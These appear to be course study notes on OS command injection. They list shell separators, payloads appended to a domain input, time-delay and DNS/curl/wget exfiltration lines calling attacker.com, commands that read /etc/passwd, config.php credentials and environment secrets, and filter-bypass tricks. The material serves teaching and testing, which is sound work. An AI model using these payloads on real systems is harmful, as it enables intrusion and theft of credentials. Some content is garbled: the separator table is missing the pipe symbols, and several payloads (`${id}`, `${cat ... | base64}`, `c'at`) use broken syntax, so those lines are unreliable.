

Command Injection

Executing arbitrary OS commands via unsanitised user input

How It Works

Web app passes user input directly to an OS shell function (system(), exec(), shell_exec() in PHP; os.system() in Python; etc.) without sanitisation. Attacker appends a separator + OS command. Common in interpreted languages (PHP, Python, Ruby) — rare in Java which runs in a VM.

From slides: Command injection differs from code injection — no malicious code involved. Attacker uses the OS shell's own syntax. Gives greater control because it runs at OS level, not application level.

Command Separators (from Slides)

Separator	Behaviour	OS
;	Run both commands sequentially	Linux
&&	Run 2nd only if 1st exits successfully	Both
	Run 2nd only if 1st fails	Both
	Pipe stdout of 1st as stdin to 2nd	Both
&	Background 1st; run 2nd immediately	Windows primarily
`cmd`	Inline subshell — backtick	Linux
\$(cmd)	Inline subshell — dollar-paren	Linux

Detection Payloads (from Slides)

Append to any user-controlled input that might feed into a shell call — domain fields, file paths, IP addresses, usernames:

SLIDES

```
# From slides – domain input field:
www.cse.iitb.ac.in; id
www.cse.iitb.ac.in | whoami
www.cse.iitb.ac.in && uname -a
www.cse.iitb.ac.in `id`
www.cse.iitb.ac.in $(id)
```

Blind Command Injection (from Slides)

Application does not return command output in the HTTP response. Must use side channels to confirm and exploit:

TIME DELAY — FROM SLIDES

SLIDES

```
# If response takes 10 seconds longer, injection is confirmed
domain=www.cse.iitb.ac.in; sleep 10
domain=www.cse.iitb.ac.in & ping -n 10 127.0.0.1 (Windows)
```

DNS OUT-OF-BAND CALLBACK — FROM SLIDES

SLIDES

```
# Backtick causes inline execution – output used as subdomain
www.cse.iitb.ac.in; dig `whoami`.attacker.com

# Attacker receives DNS query: www-data.attacker.com
# The subdomain IS the command output – data exfiltrated via DNS

# More data exfil via curl:
www.cse.iitb.ac.in; curl http://attacker.com/${id}
www.cse.iitb.ac.in; wget http://attacker.com/${cat /etc/passwd | base64}
```

WRITE TO WEBROOT — THEN FETCH VIA HTTP

EXTRA

```
domain=x; id > /var/www/html/out.txt
# Then visit: http://target.com/out.txt
# Works if web process has write permission to webroot
```

Useful Commands Once Inside

id	Which user is running the app — determines privilege level
whoami	Username of running process
uname -a	OS and kernel version
cat /etc/passwd	All system users
ls /var/www/html	Web root contents — find other app files
cat /var/www/html/config.php	DB credentials almost always in config files
env	Environment variables — often contain secrets/API keys
netstat -tlnp	Open ports and listening services on the server

Filter Bypass Tricks — Extra

EXTRA

```
# Space bypass (if space is filtered):
cat${IFS}/etc/passwd # $IFS = Internal Field Separator (space)
{cat,/etc/passwd} # brace expansion
cat%09/etc/passwd # tab character

# Slash bypass:
```

```
cat${PATH:0:1}etc${PATH:0:1}passwd # $PATH starts with /
```

```
# Keyword bypass (if "cat" is blocked):
```

```
c'at /etc/passwd # empty string inside keyword
```

```
c\at /etc/passwd # backslash ignored by shell
```

```
wh$(echo)oami # empty subshell inside keyword
```